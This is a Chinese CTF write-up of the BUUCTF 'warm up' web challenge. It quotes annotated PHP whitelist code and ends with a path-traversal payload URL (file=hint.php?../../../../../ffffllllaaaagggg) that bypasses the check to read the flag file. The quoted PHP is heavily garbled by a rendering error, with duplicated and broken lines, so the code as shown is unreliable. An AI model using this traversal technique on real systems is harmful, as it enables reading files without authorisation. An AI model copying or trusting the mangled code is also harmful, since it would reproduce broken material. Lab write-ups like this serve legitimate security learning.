buuctf web warm up

进去界面后,可以看到一张滑稽表情图,老规矩,先f12,查看网页源码:如图:在这里插入图片描述
看到注释里面给了个提示,source.php,那么显然,就需要审计代码了
跳转如下地址http://4d06e63d-087b-496a-8c15-92a4b42f001d.node3.buuoj.cn/index.php?file=source.php,如图:在这里插入图片描述
比较菜,php代码审计我也不太懂,大佬是这样解释的:在这里插入图片描述
原地址:https://www.cnblogs.com/xhds/p/12266072.html
那位大佬说访问hint界面就会这样:在这里插入图片描述
这说明,flag在ffffllllaaaagggg里面,大佬的代码审计是这样的:
1 class emmm
2 {
3 public static function checkFile(&$page)
4
5 {
6 //白名单列表
7 KaTeX parse error: Expected \'EOF\', got \'&\' at position 112: …ng()判断变量是否是字符串 &̲&用了逻辑与两个值都为真才执行…page) || !is_string(page))10echo"youcantseeitA";11returnfalse;1213//page)) { 10 echo "you can\'t see it A"; 11 return false; 12 } 13 //检测传进来的值是否匹配白名单列表whitelist 如果有则执行真
14 if (in_array($page, whitelist))15returntrue;1617//(whitelist)) { 15 return true; 16 } 17 //过滤问号的函数(如果page的值有?则从?之前提取字符串)
18 $_page = mb_substr(
19 page,200,21mbstrpos(page, 20 0, 21 mb_strpos(page . ‘?’, ‘?’)//返回page.??22);2324//page.?里卖弄?号出现的第一个位置 22 ); 23 24 //第二次检测传进来的值是否匹配白名单列表whitelist 如果有则执行真
25 if (in_array($_page, whitelist))26returntrue;2728//urlwhitelist)) { 26 return true; 27 } 28 //url对page解码
29 page=urldecode(_page = urldecode(page);
30
31 //第二次过滤问号的函数(如果$page的值有?则从?之前提取字符串)
32 $_page = mb_substr(
33 page,340,35mbstrpos(_page, 34 0, 35 mb_strpos(_page . ‘?’, ‘?’)
36 );
37 //第三次检测传进来的值是否匹配白名单列表whitelist38if(inarray(whitelist 如果有则执行真 38 if (in_array(_page, $whitelist)) {
39 return true;
40 }
41 echo “you can’t see it”;
42 return false;
43 }
44 }
但本人不会php代码审计,所以也看的毫无头绪,所以呢?再进行这样的操作:http://5c8d494a-f267-4971-bcdb-082104d64a92.node3.buuoj.cn/index.php?file=hint.php?../…/…/…/…/ffffllllaaaagggg,跳转之后就有了flag:
在这里插入图片描述
虽然是write up,但一半是参考大佬的,所以自己就总结一下吧
首先要学会HTML,看得懂网页源码,其次学会php,可以看得懂代码,看不懂就无法分析,但其实质上,这道题也介绍了网站的体现方式,不懂还是要学啊

相关文章: